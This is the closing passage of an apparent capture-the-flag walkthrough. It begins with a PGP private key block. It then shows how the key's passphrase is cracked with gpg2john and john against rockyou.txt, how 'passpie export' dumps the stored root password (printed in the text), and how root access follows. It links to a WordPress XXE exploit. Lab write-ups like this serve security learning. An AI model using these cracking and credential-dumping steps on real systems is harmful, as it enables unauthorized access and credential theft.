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
=7Uo6
-----END PGP PRIVATE KEY BLOCK-----
So I am not able to crack the first key but the second key is crackable
Here is how to proceed
We keep the 2nd pgp key in a file so the one ending with
=7Uo6
gpg2john pgpkey2 > crackme2
we convert it in a john formatWe crack it with a wordlist
john -w:/usr/share/wordlists/rockyou.txt crackme2
We get a password
blink182

Let's see how we can use it with passpie to get the root password. Here is the output of the help of passpie

Ok the help command is not really detailed but with the documentation we can find out the process to get the password.
We create the file in which we will want our password exported to (here I named it
exportedpass
)touch exportedpass
Then we need to type or command to export the password
passpie export exportedpass
Finally we can cat our file exportedpass and we have the root password
p7qfAZt4_A1xo_0x

We can su root with the new password and get the final flag.
Useful resources
https://github.com/motikan2010/CVE-2021-29447
https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/
https://www.exploit-db.com/exploits/39319
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